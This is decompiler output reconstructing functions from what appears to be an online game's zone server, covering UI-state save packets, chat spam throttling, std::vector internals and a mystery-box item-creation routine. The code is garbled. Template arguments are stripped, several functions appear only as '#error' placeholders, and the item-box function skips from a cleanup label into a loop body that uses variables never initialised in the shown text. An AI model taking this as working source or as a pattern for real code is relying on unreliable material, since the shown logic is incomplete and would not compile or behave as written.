504EC0: could not find valid save-restore pair for ebx // 504EC0: could not find valid save-restore pair for edi // 504EC0: could not find valid save-restore pair for esi //----- (00504FB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 ZoneBaseSession *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16423; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5[8] = *(_BYTE *)(netcmd + 2); *((_BYTE *)v4 + 92712) = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); } //----- (005050B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this) { char *v1; // esi@1 void *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 16426; *((_WORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v1[12] = *(_BYTE *)(*(_DWORD *)((char *)v2 + 32010) + 145); v1[13] = *((_BYTE *)v2 + 92712); *((_DWORD *)v1 + 2) = 0; *(_DWORD *)(v1 + 14) = *((_DWORD *)v2 + 23181); v1[18] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 19) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SingleOptionSave2World : Packet Too Long", 19); } } // 5050B0: could not find valid save-restore pair for edi // 5050B0: could not find valid save-restore pair for esi //----- (00505150) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // ecx@1 result = _Pnode; v2 = _Pnode->_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00505170) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this) { int v1; // esi@1 unsigned int v2; // edi@1 char v3; // bl@1 unsigned __int16 v4; // bp@1 char result; // al@2 int v6; // ecx@3 int v7; // edx@3 int v8; // eax@3 unsigned int v9; // ecx@3 v1 = (int)this; v2 = clockwatch.cw_CurrTick; v3 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(&SpamerPenaltyData); if ( *(_DWORD *)(v1 + 92696) <= v2 ) { v6 = 4 * *(_DWORD *)(v1 + 92692); *(_DWORD *)(v6 + *(_DWORD *)(v1 + 92688)) = v2; v7 = (*(_DWORD *)(v1 + 92692) + 1) % (unsigned __int8)v3; v8 = *(_DWORD *)(v1 + 92688); *(_DWORD *)(v1 + 92692) = v7; v9 = *(_DWORD *)(v8 + v6); if ( v9 && v9 <= *(_DWORD *)(v8 + 4 * v7) + (unsigned int)v4 ) { ShineObjectClass::ShinePlayer::sp_SpamSetBlock((void *)v1, v2); result = 1; } else { result = 0; } } else { ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v1); result = 1; } return result; } //----- (00505200) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@2 int j; // eax@3 int i; // eax@6 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( !*(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { v2 = *(_DWORD *)(v1 + 8); if ( *(_BYTE *)(v2 + 21) ) { for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 4) ) { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(i + 8) ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = i; } else { for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 21); j = *(_DWORD *)j ) v2 = j; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00505260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 void *v3; // eax@3 int v4; // eax@4 void *v5; // edi@7 v2 = this; ShineObjectClass::ShineMobileObject::smo_SetCaptivate(this, bValue); if ( bValue ) { if ( !*((_DWORD *)v2 + 23148) ) { v3 = operator new(0x318u); if ( v3 ) MobTacticElement::MobActionArgument::MobActionArgument((MobTacticElement::MobActionArgument *)v3); else v4 = 0; *((_DWORD *)v2 + 23148) = v4; *(_DWORD *)(v4 + 788) = &MobTacticElement::MobActionArgument::Actor::targetting; *(_DWORD *)(*((_DWORD *)v2 + 23148) + 4) = v2; *(_DWORD *)(*((_DWORD *)v2 + 23148) + 624) = (*(int (__thiscall **)(char *, void *, int))(*((_DWORD *)v2 + 23149) + 16))( (char *)v2 + 92596, v2, *((_DWORD *)v2 + 23148) + 8); MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)(*((_DWORD *)v2 + 23148) + 628), (#325 **)v2 + 23171); } } else { v5 = (void *)*((_DWORD *)v2 + 23148); if ( v5 ) { MobTacticElement::MobActionArgument::_MobActionArgument(*((MobTacticElement::MobActionArgument **)v2 + 23148)); operator delete(v5); *((_DWORD *)v2 + 23148) = 0; } } } //----- (00505370) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall std::vector>::_Ufill(std::vector > *this, SHINE_XY_TYPE *_Ptr, unsigned int _Count, SHINE_XY_TYPE *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005053A0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00505410) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00505480) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 ShineObjectClass::ListUp *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 ShineObjectClass::ListUp *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-2Ch]@31 int v28; // [sp-Ch] [bp-28h]@1 ShineObjectClass::ListUp _Tmp; // [sp+0h] [bp-1Ch]@1 void *_Newvec; // [sp+8h] [bp-14h]@25 int *v31; // [sp+Ch] [bp-10h]@1 int v32; // [sp+18h] [bp-4h]@25 unsigned int _Wherea; // [sp+24h] [bp+8h]@31 int _Counta; // [sp+28h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+2Ch] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+2Ch] [bp+10h]@31 v4 = _Val->nLot; v5 = this; *(_DWORD *)&_Tmp.Itemid = *(_DWORD *)&_Val->Itemid; v6 = this->_Myfirst; v31 = &v28; _Tmp.nLot = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v32 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (ShineObjectClass::ListUp *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (ShineObjectClass::ListUp *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v32 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (ShineObjectClass::ListUp *)((char *)v14 + _Counta); v5->_Mylast = (ShineObjectClass::ListUp *)((char *)v14 + 8 * v18); v5->_Myfirst = (ShineObjectClass::ListUp *)v14; } } } //----- (005056D0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 ShineObjectClass::ListUp *v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *_Ptr; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (ShineObjectClass::ListUp *)((char *)v7 + _Counta); v2->_Mylast = (ShineObjectClass::ListUp *)((char *)v7 + 8 * v4); v2->_Myfirst = (ShineObjectClass::ListUp *)v7; } } //----- (005057A0) -------------------------------------------------------- ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { ShineObjectClass::ListUp *v2; // edx@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (005057D0) -------------------------------------------------------- #error "5057D0: undefined or illegal type '#325' (funcsize=84)" //----- (00505900) -------------------------------------------------------- #error "505900: undefined or illegal type '#325' (funcsize=74)" //----- (005059F0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // edx@1 signed int v4; // ecx@2 ShineObjectClass::ListUp *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00505A60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ(int this, int netcmd, int len, __int16 handle) { int result; // eax@3 if ( !(_S8_15 & 1) ) { _S8_15 |= 1u; cmc_80.cmc_AllowMode = 70; atexit(_E9_14); } result = *(_DWORD *)(this + 3716); if ( (1 << *(_BYTE *)result) & cmc_80.cmc_AllowMode ) { *(_WORD *)(*(_DWORD *)(this + 32010) + 78) = -1; result = ShineObjectClass::ShinePlayer::sp_SetAutoPick(this, *(_BYTE *)(netcmd + 2)); } return result; } // 505900: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); //----- (00505AD0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, int pError) { int v4; // ebp@1 ShineObjectClass::ListUp *v5; // edi@1 int v6; // ebx@1 unsigned __int16 v7; // si@5 std::_Tree,std::allocator >,1> >::iterator v8; // eax@7 int v9; // edi@8 char v10; // al@10 unsigned __int16 v11; // ax@12 void *v12; // esi@18 ChargedEffectContainer *v13; // eax@25 int v14; // eax@25 InventoryLocking::InventoryCellLock *v15; // eax@25 int v16; // edi@28 int v17; // eax@28 int v18; // ebp@28 int v19; // esi@30 unsigned __int16 v20; // bp@34 int v21; // ST24_4@34 CServerInfo::MY_SERVER *v22; // eax@34 ItemAttributeClass *v23; // ebp@34 ItemDataBox::ItemDataBoxIndex *v24; // eax@34 ItemInfoServer *v25; // eax@35 char *v26; // eax@36 ItemRandomOption::RandomOptionDatum *v27; // edi@37 ItemOptionStorage *v28; // eax@37 ItemAttributeClassVtbl *v29; // edi@40 int v30; // eax@40 int v31; // ecx@40 int v32; // eax@40 __int16 v33; // dx@40 char *v34; // eax@40 void *v35; // eax@40 ItemInventoryCell *v36; // ST18_4@40 int v37; // edx@40 int v38; // eax@40 int v39; // eax@40 int v40; // ST24_4@43 int v41; // esi@44 ZoneBaseSession *v42; // eax@46 int v43; // [sp+28h] [bp-FCh]@5 unsigned int i; // [sp+38h] [bp-ECh]@30 signed int _Pos; // [sp+3Ch] [bp-E8h]@19 std::_Tree,std::allocator >,1> >::iterator loweriter; // [sp+40h] [bp-E4h]@5 int MakeitemID; // [sp+44h] [bp-E0h]@34 char *pAttrblock; // [sp+48h] [bp-DCh]@30 std::_Tree,std::allocator >,1> >::iterator Upperiter; // [sp+4Ch] [bp-D8h]@5 int v50; // [sp+50h] [bp-D4h]@28 std::vector > vecMakeItem; // [sp+54h] [bp-D0h]@7 ItemInventoryCell *cell; // [sp+64h] [bp-C0h]@14 int v53; // [sp+68h] [bp-BCh]@14 InventoryLocking::UnlockedInventoryIterator uii; // [sp+6Ch] [bp-B8h]@25 int v55; // [sp+78h] [bp-ACh]@28 ItemBoxIterEmpty ibie; // [sp+7Ch] [bp-A8h]@25 ItemBoxIterItemRegNo FindItem; // [sp+8Ch] [bp-98h]@28 ItemTotalInformation iti; // [sp+A4h] [bp-80h]@34 unsigned int v59; // [sp+114h] [bp-10h]@48 int v60; // [sp+120h] [bp-4h]@7 v4 = pError; v5 = 0; v6 = a1; if ( !pError ) goto LABEL_48; *(_WORD *)pError = 1792; if ( !itm ) { *(_WORD *)pError = 1794; goto LABEL_48; } v43 = a2; v7 = *(_WORD *)(itm + 8); MysteryVaultTable::Getloweriter(&loweriter, *(_WORD *)(itm + 8)); MysteryVaultTable::GetUpperiter(&Upperiter, v7); if ( loweriter == Upperiter ) { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen Not Register ItemId :", v7); *(_WORD *)pError = 1828; goto LABEL_48; } vecMakeItem._Myfirst = 0; vecMakeItem._Mylast = 0; vecMakeItem._Myend = 0; v60 = 0; std::vector>::reserve(&vecMakeItem, 0xAu); v8 = loweriter; if ( loweriter != Upperiter ) { do { v9 = *(_DWORD *)(*(_DWORD *)&v8 + 16); if ( v9 ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1224))(v6); if ( MysteryVaultTable::IsCheckClassType(*(ChrClassType *)(v9 + 32), v10) && *(_WORD *)(v9 + 69) >= RandomBox::rb_1000(&rndbox) ) { v11 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)(v9 + 36)); if ( v11 == -1 ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::ItemBoxOpen :", (const char *)(v9 + 36)); } else { v53 = *(_BYTE *)(v9 + 68); LOWORD(cell) = v11; std::vector>::push_back( &vecMakeItem, (ShineObjectClass::ListUp *)&cell); } v4 = pError; } } else { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen NULL", 0); } std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&loweriter); v8 = loweriter; } while ( loweriter != Upperiter ); v5 = 0; } v12 = vecMakeItem._Myfirst; if ( vecMakeItem._Myfirst == v5 || (_Pos = vecMakeItem._Mylast - vecMakeItem._Myfirst, (ShineObjectClass::ListUp *)(vecMakeItem._Mylast - vecMakeItem._Myfirst) == v5) ) { *(_WORD *)v4 = 1828; if ( v12 != v5 ) operator delete(v12); goto LABEL_48; } if ( ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(v6) < _Pos ) { *(_WORD *)v4 = 1827; operator delete(v12); goto LABEL_48; } v13 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1156))(v6); ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)(v6 + 35536), v13); v14 = *(_DWORD *)v6; LOBYTE(v60) = 1; v15 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(int))(v14 + 1916))(v6); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(&uii, 9, &ibie.baseclass_0, v15); LOBYTE(v60) = 2; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { *(_WORD *)v4 = 1827; LABEL_27: LOBYTE(v60) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v60) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_Xran(&vecMakeItem); v20 = vecMakeItem._Myfirst[i].Itemid; MakeitemID = vecMakeItem._Myfirst[i].Itemid; v21 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v22 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&iti, 2, v22->nZoneNo, v21); iti.iti_itemstruct.itemid = v20; v23 = ItemAttributeClassContainer::operator__(&itmattcontainer, v20); ((void (__thiscall *)(ItemAttributeClass *, int, ItemTotalInformation *, MobTargetSelector::__unnamed *, int))v23->vfptr->iac_itemcreate)( v23, MakeitemID, &iti, &stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current, v43); v24 = ItemDataBox::operator__(&itemdatabox, (unsigned __int16)pAttrblock); if ( !v24 || (v25 = v24->dataserv) == 0 || (v26 = v25->RandomOptionDropGroup) == 0 ) { (*(void (__cdecl **)(_DWORD))(**(_DWORD **)&vecMakeItem + 32))(*(_WORD *)(v16 + 8)); v40 = (unsigned __int16)MakeitemID; *(_WORD *)pError = 1793; AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_MysteryVaultMakeItem Not Make ItemID : ", v40); LOBYTE(v60) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); goto LABEL_27; } v27 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v26); v28 = v23->vfptr->iac_GetItemOptionStruct( v23, (SHINE_ITEM_STRUCT *)((char *)&iti.iti_itemstruct.itemattr.dlot.lot + 2)); if ( v27 && v28 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v28, v27); v29 = v23->vfptr; v43 = std::vector>::at( (std::vector > *)((char *)&vecMakeItem + 4), _Pos)->nLot; ((void (__thiscall *)(ItemAttributeClass *, char *))v29->iac_SetLot)( v23, (char *)&iti.iti_itemstruct.itemattr.dlot.lot + 2); *(_DWORD *)(v19 - 12) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); v30 = *(_DWORD *)(v6 + 98); *(_DWORD *)(v19 - 8) = *(_DWORD *)v30; *(_DWORD *)(v19 - 4) = *(_DWORD *)(v30 + 4); *(_DWORD *)v19 = *(_DWORD *)(v30 + 8); v31 = *(_DWORD *)(v6 + 78); *(_DWORD *)(v19 + 4) = *(_DWORD *)v31; v32 = *(_DWORD *)(v31 + 4); LOWORD(v31) = *(_WORD *)(v19 + 12); *(_DWORD *)(v19 + 8) = v32; *(_WORD *)(v19 + 12) = v31 & 0x3FF | 0x2400; *(_WORD *)(v19 + 12) ^= (InventoryLocking::UnlockedInventoryIterator::uii_Slot(&uii) ^ *(_WORD *)(v19 + 12)) & 0x3FF; v33 = MakeitemID; *(_DWORD *)(v19 + 14) = *(_DWORD *)&iti; v34 = pAttrblock; *(_DWORD *)(v19 + 18) = iti.iti_registnum.binary._bf4; *(_WORD *)(v19 + 22) = v33; *(_WORD *)(v19 + 24) = (_WORD)v34 - v55 - 2; v35 = v23->vfptr->iac_fill2buffer(v23, &iti.iti_itemstruct, v34); v18 = v50; pAttrblock = (char *)v35; v36 = cell; v37 = *(_DWORD *)v6; cell = *(ItemInventoryCell **)v50; v38 = (*(int (__thiscall **)(int, ItemInventoryCell *, ItemTotalInformation *, int, int))(v37 + 1916))( v6, v36, &iti, v19 + 12, v19 + 12); LOWORD(v39) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v38); (*(void (__thiscall **)(int, int))(uii.uii_InvenType + 48))(v18, v39); InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii); v16 = v55; ++i; v19 += 38; } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)v18); v41 = (int)&pAttrblock[-v16]; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (int)&pAttrblock[-v16]) ) { v42 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v42); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_MysteryVaultMakeItem : Packet Too Long", v41); } LOBYTE(v60) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); LOBYTE(v60) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v60) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); operator delete(vecMakeItem._Myfirst); LABEL_48: __security_check_cookie(v59); } // 505AD0: could not find valid save-restore pair for esi //----- (00506130) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsInFieldSize(int this, int xy) { return *(_DWORD *)xy < *(_DWORD *)(this + 24) && *(_DWORD *)(xy + 4) < *(_DWORD *)(this + 28); } //----- (00506150) -------------------------------------------------------- #error "506150: undefined or illegal type '#434' (funcsize=15)" //----- (00506180) -------------------------------------------------------- void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this) { this->cfs_Flag = 1; } //----- (00506190) -------------------------------------------------------- #error "506190: undefined or illegal type '#434' (funcsize=44)" //----- (00506230) -------------------------------------------------------- void __thiscall AxialListMagicFieldDamage::AxialListMagicFieldDamage(AxialListMagicFieldDamage *this, ShineObjectClass::ShineMagicField::MagicFieldOwnerInform *owner, char battlefield, char guildwar, SHINE_XY_TYPE *center) { AxialListMagicFieldDamage *v5; // esi@1 v5 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v5->almfd_Owner = owner; v5->slmfd_FieldCenter = center; v5->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldDamage::_vftable_; v5->almfd_BattleField = battlefield; v5->slmfd_GuildWarMap = guildwar; } // 5D7314: using guessed type int (__stdcall *AxialListMagicFieldDamage___vftable_)(int, int, int distancesquar); //----- (00506270) -------------------------------------------------------- void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldDamage::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5D7314: using guessed type int (__stdcall *AxialListMagicFieldDamage___vftable_)(int, int, int distancesquar); //----- (00506280) -------------------------------------------------------- #error "506280: undefined or illegal type '#325' (funcsize=17)" //----- (005062C0) -------------------------------------------------------- void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this) { this->baseclass_0.vfptr = 